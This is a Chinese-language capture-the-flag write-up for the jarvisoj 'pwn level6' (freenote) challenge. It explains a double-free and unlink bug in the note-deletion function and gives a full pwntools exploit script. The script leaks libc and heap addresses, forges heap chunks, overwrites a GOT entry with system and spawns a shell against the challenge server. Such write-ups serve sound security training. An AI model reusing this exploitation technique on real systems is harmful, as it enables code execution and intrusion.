jarvisoj pwn level6 writeup

原创

charlie_heng 于 2018-01-21 22:12:54 发布 1597 收藏

分类专栏： pwn 文章标签： pwn

考完试了，又开始做题

这题是一道很好的用来熟悉堆的题

首先先确定漏洞的地方是delete note

漏洞有两个
1. 没有校验对应的堆是否有free
2. delete完之后没有把指向堆的指针清除

所以可以利用double free，触发unlink，达到任意内存修改的目的

具体怎么利用在https://www.cnblogs.com/0xJDchen/p/6195919.html 里面说得很清楚

但是里面有些东西可以改进，那就是，可以只构造两个堆，还有一点地方就是，这里获取的libc地址要减去一个固定的偏移，才能到代码段，但是本地的服务器的偏移和本地是不同的，这里可以用list_note把free地址给泄漏出来，但这里用的是第一种

```
import struct
from pwn import *

debug=1
if debug:
    p=process('./freenote')
    context.log_level='debug'
    gdb.attach(proc.pidof(p)[0])
    e=ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    p=remote('pwn2.jarvisoj.com', 9885)
    context.log_level='debug'
    e=ELF('./libc.so')


def list_note():
    p.sendline('1')
    content=p.recvuntil('==')
    return content[:-2]

def new_note(content):
    p.sendline('2')
    p.recvuntil('Length of new note: ')
    p.sendline(str(len(content)))
```

```
    p.recvuntil('Enter your note:')
    p.send(content)
    p.recvuntil('Your choice:')

def edit_note(index,content):
    p.sendline('3')
    p.recvuntil('Note number: ')
    p.sendline(str(index))
    p.recvuntil('Length of note: ')
    p.sendline(str(len(content)))
    p.recvuntil('Enter your note: ')
    p.send(content)
    p.recvuntil('Your choice:')

def delete_note(index):
    p.sendline('4')
    p.recvuntil('Note number: ')
    p.sendline(str(index))
    p.recvuntil('Your choice:')


new_note('A'*0x80)
new_note('B'*0x80)
new_note('C'*0x80)
new_note('D'*0x80)

delete_note(0)
new_note('1234')
data=list_note()
d=data.index('1234')+4

#---------leak libc address-----------

libc=struct.unpack('<I',data[d:d+4])[0]
libc=libc-libc%0x1000
libc-=0x1bc000
if debug:
    libc+=0x9000
else:
    libc+=0x11000

delete_note(0)
delete_note(2)

#---------leak heap address-----------

new_note('1234')
data=list_note()
d=data.index('1234')+4
heap=struct.unpack('<I',data[d:d+4])[0]

heap=heap-heap%0x1000


#delete all heap
delete_note(0)
delete_note(1)
delete_note(3)
```

```
#构造堆，prev_size处0，当前size处0x80,后面两个是FD、BK,然后补全128位，再构造另外一个堆,prev_size是0x80，当前堆的
payload=p32(0)+p32(0x81)+p32(heap+0x18-0xc)+p32(heap+0x18-0x8)
payload=payload.ljust(128,'A')
payload+=p32(0x80)+p32(0x80)+'/bin/sh\x00'
payload=payload.ljust(256,'A')

new_note(payload)
delete_note(1)

im_payload=p32(10)+p32(1)+p32(4)+p32(0x804A29C)+p32(0)*2+p32(heap+0xca8)
im_payload=im_payload.ljust(256,'A')

edit_note(0,im_payload)
edit_note(0,p32(libc+e.symbols['system']))

p.sendline('4')
p.recvuntil('Note number: ')
p.sendline('1')

print(hex(libc))

p.interactive()
```